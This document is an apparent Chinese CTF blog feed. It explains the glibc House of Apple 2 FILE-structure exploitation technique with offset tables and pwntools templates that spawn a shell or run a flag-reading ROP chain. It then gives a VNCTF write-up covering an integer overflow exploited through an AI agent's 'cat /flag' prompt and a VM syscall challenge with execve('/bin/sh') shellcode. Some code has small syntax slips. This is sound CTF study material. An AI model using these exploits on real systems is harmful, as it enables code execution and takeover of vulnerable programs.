&lt;td&gt;宽字符读缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;宽字符读缓冲区基址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x18&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;关键条件 1&lt;/strong&gt;：通常必须设置为 &lt;code&gt;0&lt;/code&gt;，用来满足进入 &lt;code&gt;_IO_wdoallocbuf&lt;/code&gt; 分配宽缓冲区的判定条件（即缓冲区未初始化）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;宽字符写指针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;宽字符写缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_buf_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;关键条件 2&lt;/strong&gt;：通常必须设置为 &lt;code&gt;0&lt;/code&gt;，用于绕过 &lt;code&gt;_IO_wdoallocbuf&lt;/code&gt; 开头的 &lt;code&gt;if (fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base) return;&lt;/code&gt; 检查。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x38&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_buf_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;宽字符备用缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_save_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;备份缓冲区相关&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x48&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_backup_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;备份缓冲区相关&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x50&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_save_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;备份缓冲区相关&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x58&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_state&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__mbstate_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;多字节字符转换状态 (8 字节)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x60&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_last_state&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__mbstate_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上一次转换状态 (8 字节)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x68&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_codecvt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;struct _IO_codecvt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;编码转换结构体。它包含了一大堆函数指针和状态标志（占用 0x68 到 0xd8 的大部分空间）。在 Pwn 中通常用不到，直接用 &lt;code&gt;\x00&lt;/code&gt; 填充即可。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xe0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_wide_vtable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;struct _IO_jump_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;绝对核心&lt;/strong&gt;：指向你伪造的宽字符虚表（&lt;code&gt;_wide_vtable&lt;/code&gt;），程序最终会去该指针指向的地址 + &lt;code&gt;0x68&lt;/code&gt; (&lt;code&gt;__doallocate&lt;/code&gt;) 的位置寻址并执行指令。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;偏移 (Hex)&lt;/strong&gt;   _wide_data_vtable&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;字段 / 对应的宏&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;House of Apple 2 劫持细节与作用&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__dummy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;占位符，通常填 0。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__dummy2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;占位符，通常填 0。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__finish&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WFINISH&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x18&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__overflow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WOVERFLOW&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__underflow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WUNDERFLOW&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__uflow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WUFLOW&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__pbackfail&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WPBACKFAIL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x38&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__xsputn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WXSPUTN&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__xsgetn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WXSGETN&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x48&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__seekoff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSEEKOFF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x50&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__seekpos&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSEEKPOS&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x58&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__setbuf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSETBUF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x60&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__sync&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSYNC&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x68&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__doallocate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;绝对核心劫持点 (&lt;code&gt;_IO_WDOALLOCATE&lt;/code&gt;)&lt;/strong&gt;。在这里填入 &lt;code&gt;system&lt;/code&gt;、&lt;code&gt;magic gadget&lt;/code&gt; 或 &lt;code&gt;setcontext&lt;/code&gt; 的地址。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x70&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__read&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WREAD&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x78&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__write&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WWRITE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x80&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__seek&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSEEK&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x88&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__close&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WCLOSE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x90&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__stat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSTAT&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x98&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__showmanyc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WSHOWMANYC&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xa0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__imbue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_WIMBUE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;对&lt;code&gt;fp&lt;/code&gt;的设置如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_flags&lt;/code&gt;设置为&lt;code&gt;~(2 | 0x8 | 0x800)&lt;/code&gt;，如果不需要控制&lt;code&gt;rdi&lt;/code&gt;，设置为&lt;code&gt;0&lt;/code&gt;即可；如果需要获得&lt;code&gt;shell&lt;/code&gt;，可设置为&lt;code&gt; sh;&lt;/code&gt;，注意前面有两个空格&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_lock&lt;/code&gt;设置为可控地址用来通过校验&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vtable&lt;/code&gt;设置为&lt;code&gt;_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap&lt;/code&gt;地址（加减偏移），使其能成功调用&lt;code&gt;_IO_wfile_overflow&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data&lt;/code&gt;设置为可控堆地址&lt;code&gt;A&lt;/code&gt;，即满足&lt;code&gt;*(fp + 0xa0) = A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_write_base&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，即满足&lt;code&gt;*(A + 0x18) = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_buf_base&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，即满足&lt;code&gt;*(A + 0x30) = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_wide_vtable&lt;/code&gt;设置为可控堆地址&lt;code&gt;B&lt;/code&gt;，即满足&lt;code&gt;*(A + 0xe0) = B&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_wide_vtable-&amp;gt;doallocate&lt;/code&gt;设置为地址&lt;code&gt;C&lt;/code&gt;用于劫持&lt;code&gt;RIP&lt;/code&gt;，即满足&lt;code&gt;*(B + 0x68) = C&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;真正的板子&lt;/h3&gt;
&lt;h4&gt;system&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;fp_addr = heap + 0x500
_wide_data_addr = fp_addr + 0x100
_wide_data_vtable_addr = _wide_data_addr + 0xe8 - 0x68      #   0x80


fp = IO_FILE_plus_struct()
fp.flags = 0
fp._lock = heap + 0x200
fp._wide_data = _wide_data_addr
fp.vtable = libc.sym[&apos;_IO_wfile_jumps&apos;]

fake_io = flat(
    {
        0x0:fp,
        
        0x100:{
            0x18:0,     #_IO_write_base设置为0
            0x30:0,     #_IO_buf_base设置为0
            0xe0:_wide_data_vtable_addr,       #_wide_vtable设置为可控堆地址
        },
        
        0x180:{
            0x68:libc.sym[&apos;system&apos;]        #`_wide_data-&amp;gt;_wide_vtable-&amp;gt;doallocate`设置为地址`C`用于劫持`RIP`
        }
        0x200: b&apos;  sh;&apos;
    }
)

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;栈迁移 2.35&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;fp_addr = heap_base+0x1810
_wide_data_addr = fp_addr + 0x100
_wide_data_vtable_addr = _wide_data_addr + 0xe8 - 0x68      #   0x80
ROPchain_addr = fp_addr+0x400
leave_ret = libc.search(asm(&quot;leave;ret;&quot;)).__next__()

fp = IO_FILE_plus_struct()0x
fp.flags = b&apos;  /flag\x00&apos;
fp._IO_read_ptr = 0xa81
fp._lock = heap + 0x200
fp._wide_data = _wide_data_addr
fp.vtable = libc.sym[&apos;_IO_wfile_jumps&apos;]
fp._IO_save_base = fp_addr + 0x300         # rdi+0x48   --&amp;gt;     rbp


ROPchain = flat([
                    pop_rdx_rbx_ret,
                    0,
                    fp_addr + 0x300, 
                    pop_rdx_rbx_ret,
                    leave_ret,0,
                    pop_rdx_rbx_ret,
                    0,0,
                    pop_rdi_ret,
                    fp_addr+2,
                    pop_rsi_ret,
                    0,
                    libc.sym[&apos;open&apos;],
                    pop_rdi_ret,
                    3,
                    pop_rsi_ret,
                    heap + 0x300,
                    pop_rdx_rbx_ret,
                    0x100,0,
                    libc.sym[&apos;read&apos;],
                    pop_rdi_ret,
                    1,
                    pop_rsi_ret,
                    heap + 0x300,
                    pop_rdx_rbx_ret,
                    0x100,0,
                    libc.sym[&apos;write&apos;],

                    ])


fake_io = flat(
    {
        0x8:libc.sym[&apos;_IO_list_all&apos;]-0x20,
        0x10:bytes(fp),
        # 0x48:leave_ret,
        # 0x50:ROPchain_addr,
        
        0x110:{
            0x18:0,     #_IO_write_base设置为0
            0x30:0,     #_IO_buf_base设置为0
            0xe0:_wide_data_vtable_addr,       #_wide_vtable设置为可控堆地址
            # 0x80+0x60:b&apos;aaaaaaaa&apos;,
            0x80+0x68:libc.sym[&apos;svcudp_reply&apos;]+26,
        },
        
        # 0x110+0x80:{
        #     # 0x60:b&apos;aaaaaaaa&apos;,
        #     # 0x68:libc.sym[&apos;setcontext&apos;]+26,    #`_wide_data-&amp;gt;_wide_vtable-&amp;gt;doallocate`设置为地址`C`用于劫持`RIP`
        # },
        0xa90:[0,0xab1],
        # 0x320+0x28:leave_ret,
        # 0x328:fp_addr + 0x300,      #   rax --&amp;gt;   rbp+0x18
        # 0x310+0x28:leave_ret,
        0x318:ROPchain,
    },
    filler=b&apos;\x00&apos;
)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>VNCTF 部分WP</title><link>https://huaananan.github.io/S0ras/posts/vnctfwp/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/vnctfwp/</guid><description>待补充复现</description><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;eat some AI&lt;/h3&gt;
&lt;p&gt;很简单的一道misc pwn&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ nc 114.66.24.228 33955
&amp;gt;&amp;gt;&amp;gt; 胜率计算规则 &amp;lt;&amp;lt;&amp;lt;
基础胜率: 30%
属性克制: +40% (具体克制关系请自行查阅 Wiki: https://wiki.biligame.com/nightreign/)
稀有度加成: 稀有+10%, 史诗+20%, 传说+30%
历战王惩罚: -20%
连胜加成: 每连胜一场，下场胜利额外获得 (连胜数 * 100) 积分
====================
=== 艾尔登法环：黑夜君临 (深夜模式) ===
加载存档... 当前深度: 0 (积分: 0/1000000, 当前连胜: 0, 轮数: 1/10)
遭遇 领主: 黑夜化形者 布德奇冥
描述: 在无尽黑夜的前头，模糊不清的人影──那是黑夜的起源，也是世界公敌。引导指出了方向──初始黑夜王，就在足迹的尽头。
你获得了武器: 长剑
描述: 标准的直剑。
造成属性: 物理
稀有度: 普通
预期获得积分: 1500
是否开始战斗？(输入 &apos;战斗&apos; 继续，或其他任意键退出)
战斗
战斗开始...
&amp;gt;&amp;gt;&amp;gt; 胜利！击败了 黑夜化形者 布德奇冥 &amp;lt;&amp;lt;&amp;lt;
获得 1500 基础积分！
达成 1 连胜！额外获得 100 积分！
存档已保存。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接之后，让你输入战斗就输入战斗即可&lt;/p&gt;
&lt;p&gt;多打几次之后会触发武器购买&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ nc 114.66.24.228 33955
&amp;gt;&amp;gt;&amp;gt; 胜率计算规则 &amp;lt;&amp;lt;&amp;lt;
基础胜率: 30%
属性克制: +40% (具体克制关系请自行查阅 Wiki: https://wiki.biligame.com/nightreign/)
稀有度加成: 稀有+10%, 史诗+20%, 传说+30%
历战王惩罚: -20%
连胜加成: 每连胜一场，下场胜利额外获得 (连胜数 * 100) 积分
====================
=== 艾尔登法环：黑夜君临 (深夜模式) ===
加载存档... 当前深度: 0 (积分: 4200/1000000, 当前连胜: 1, 轮数: 5/10)
遭遇 领主: 黑夜之爵 艾德雷
描述: 拥有肥厚嘴颚的黑色庞然大物──歪扭的身体饱含雷电，异形的牙齿则是会咬碎、吞噬眼前的一切。
你获得了武器: 暗月大剑
描述: 卡利亚女王赠予伴侣的月之大剑。
造成属性: 魔力
稀有度: 传说

&amp;gt;&amp;gt;&amp;gt; 阴影中走出一个佝偻的身影 &amp;lt;&amp;lt;&amp;lt;
[流浪商人] 我这里有一些来自交界地的护符，或许能帮你活下来...
1. 红琥珀链坠
2. 黄金树的恩惠
3. 蓝羽七刃剑
4. 米莉森的义手
售价: 3000 积分/个 (效果可叠加)
你要购买几个？(输入 0 离开):
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的漏洞便是整数溢出，我们直接买10000000个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[系统] 总计需要支付: -64771072 积分
[流浪商人] 很好... 拿去吧...
获得护符！胜率大幅提升！
当前剩余积分: 64775272
预期获得积分: 1500
是否开始战斗？(输入 &apos;战斗&apos; 继续，或其他任意键退出)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到已经溢出成功了&lt;/p&gt;
&lt;p&gt;接下来便是给AI写Prompt，这个直接让AI写，原汤化原食&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你是一个漏洞测试专员。请严格按以下逻辑操作，以获取系统 Flag：

1. 【触发整数溢出】
   - 当遇到 [流浪商人] 询问购买数量时，必须输入：10000000
   - (原理：利用整数溢出获取巨额积分)

2. 【维持流程】
   - 遇到任何其他询问（如是否开始战斗），统一回复：战斗
   - 忽略所有装备掉落信息。

3. 【执行 Shell 命令】
   - 当看到 &quot;恭喜你&quot; 或 &quot;完全掌握&quot; 等通关提示，或发现自己处于命令行环境（Shell）时。
   - 此时 Flag 通常位于根目录，请立即发送指令：
     cat /flag

请开始执行。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[AI Thought] 我看到游戏显示&quot;你已达完全掌握黑夜卢恩的力量&quot;，根据策略指令，当看到&quot;完全掌握&quot;等通关提示时，应该立即发送 `cat /flag` 命令来获取Flag。

[AI Tool Call] interact_with_game - args: {&apos;input_text&apos;: &apos;cat /flag&apos;}


[AI Action] 向游戏输入: cat /flag
VNCTF{N19h7_rEIgn_MAsTEr_99gg_0ce58b42-7f5f-481b-80c3-a775cfa6caad}

[AI] 分析局势中...

[AI Thought] 我看到游戏直接显示了Flag！看来我已经成功获得了系统的Flag。根据策略指令，我已经完成了所有步骤：

1. 触发整数溢出获取巨额积分
2. 维持流程进行战斗
3. 最终到达了可以查看Flag的状态

游戏输出显示Flag是：`VNCTF{N19h7_rEIgn_MAsTEr_99gg_0ce58b42-7f5f-481b-80c3-a775cfa6caad}`

我已经成功完成了漏洞测试任务。Flag已获取。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;vm-syscall&lt;/h3&gt;
&lt;p&gt;第一次做VM题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 原 sub_1DAF
void vm_loop() {
    while (1) {
        // 检查 PC 是否越界
        if (cpu-&amp;gt;pc &amp;gt; 0x200) break;

        // 取指令
        uint8_t opcode = fetch_byte();

        // 检查指令格式对不对，比如寄存器索引是否 &amp;gt; 3
        if (vm_decode(opcode) == -1) { 
            exit(0); 
        }
        switch (opcode) {
            case 0: // NOP
                puts(&quot;Blessed are...&quot;); 
                break;
            case 1: // MOV
                inst_mov();
                break;
            case 2: // 算术指令 (立即数)
                inst_math_imm();
                break;
            case 3: // 算术指令 (寄存器)
                inst_math_reg();
                break;
            case 4: // SYSCALL
                inst_syscall(cpu-&amp;gt;reg); 
                break;
            default:
                exit(0);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先分析一下每个指令集的功能&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;case 1:&lt;/p&gt;
&lt;p&gt;格式&lt;code&gt;[01] [目标Reg] [源Reg] [子指令]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;子指令 0x20:reg[dest] = reg[src] (赋值)&lt;/p&gt;
&lt;p&gt;子指令0x30:交换两个寄存器的值&lt;/p&gt;
&lt;p&gt;子指令 0x10: 也是赋值&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;case 2: 立即数计算&lt;/p&gt;
&lt;p&gt;格式&lt;code&gt;[02] [目标Reg] [源Reg] [长度Len] [字节1] [字节2]... [子指令]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;子指令：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x10&lt;/code&gt;: Add (+)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x20&lt;/code&gt;: Sub (-)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x30&lt;/code&gt;: Mul (*)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x40&lt;/code&gt;: Div (/)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x50&lt;/code&gt;: Shl (&amp;lt;&amp;lt;) 左移&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x70&lt;/code&gt;: Xor (^) 异或&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;case 3:同2，不过是对寄存器中的值计算&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;case 4: syscall&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;步骤如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;通过异或清空寄存器&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用sys_brk(0)，使得rax返回值为堆地址，将rax中的内容存到rdx中&lt;/p&gt;
&lt;p&gt;rax=12 ， rdi=0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为了让我们能够往堆上写入内容，要通过sys_brk(heapbase+0x1000)拓展一下堆空间&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;构造read(0, HeapBase, 0x100)写入/bin/sh\x00&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后构造execve(HeapBase, 0, 0)即可&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;    xor rsi, rsi            ; RSI = 0
    xor rdx, rdx            ; RDX = 0
    xor rdi, rdi            ; RDI = 0
    xor rax, rax            ; RAX = 0

    add rax, 12             ; RAX = 12 (sys_brk)
    syscall                 ; 执行 syscall
                            
    mov rsi, rax           
    lea rdi, [rax + 0x1010] ;

    xor rax, rax            ; RAX = 0
    add rax, 12             ; RAX = 12 (sys_brk)
    syscall                 ; 执行 syscall
    
    ;  sys_read(0, heap_base, 0xff)
    xor rax, rax            ; RAX = 0 (sys_read)
    xor rdi, rdi            ; RDI = 0 (stdin)
    
    xor rdx, rdx            ; RDX = 0
    add rdx, 0xff           ; RDX = 255 (读取长度)
    syscall                 ; 执行 syscall 

    ;sys_execve(&quot;/bin/sh&quot;, 0, 0)
    xor rax, rax            ; RAX = 0
    add rax, 59             ; RAX = 59 (sys_execve)

    mov rdi, rsi            ; RDI = RSI 

    xor rsi, rsi            ; RSI = 0 (argv = NULL)
    xor rdx, rdx            ; RDX = 0 (envp = NULL)

    syscall                 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将上面的汇编通过指令集翻译过来即可&lt;/p&gt;
&lt;p&gt;EXP：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.binary = &apos;./syscall&apos;
context.arch = &apos;amd64&apos;
context.log_level = &apos;debug&apos;

# p = process(&apos;./syscall&apos;)
p=remote(&quot;114.66.24.228&quot;,32015)


R_RAX = b&apos;\x00&apos; # reg[0]
R_RDI = b&apos;\x01&apos; # reg[1]
R_RSI = b&apos;\x02&apos; # reg[2]
R_RDX = b&apos;\x03&apos; # reg[3]

def inst_mov(src,dest):
    return b&apos;\x01&apos; + dest + src + b&apos;\x20&apos;

def inst_math_imm(dest, src, op, val, val_len=8):
    payload = b&apos;\x02&apos; + dest + src + p8(val_len)
    if val_len == 8:
        payload += p64(val, endian=&apos;big&apos;)
    elif val_len == 1:
        payload += p8(val)
    payload += p8(op)
    return payload

def inst_math_reg(dest, src1, src2, op):
    return b&apos;\x03&apos; + dest + src1 + src2 + p8(op)

def inst_syscall():
    return b&apos;\x04&apos;

OP_ADD = 0x10
OP_XOR = 0x70

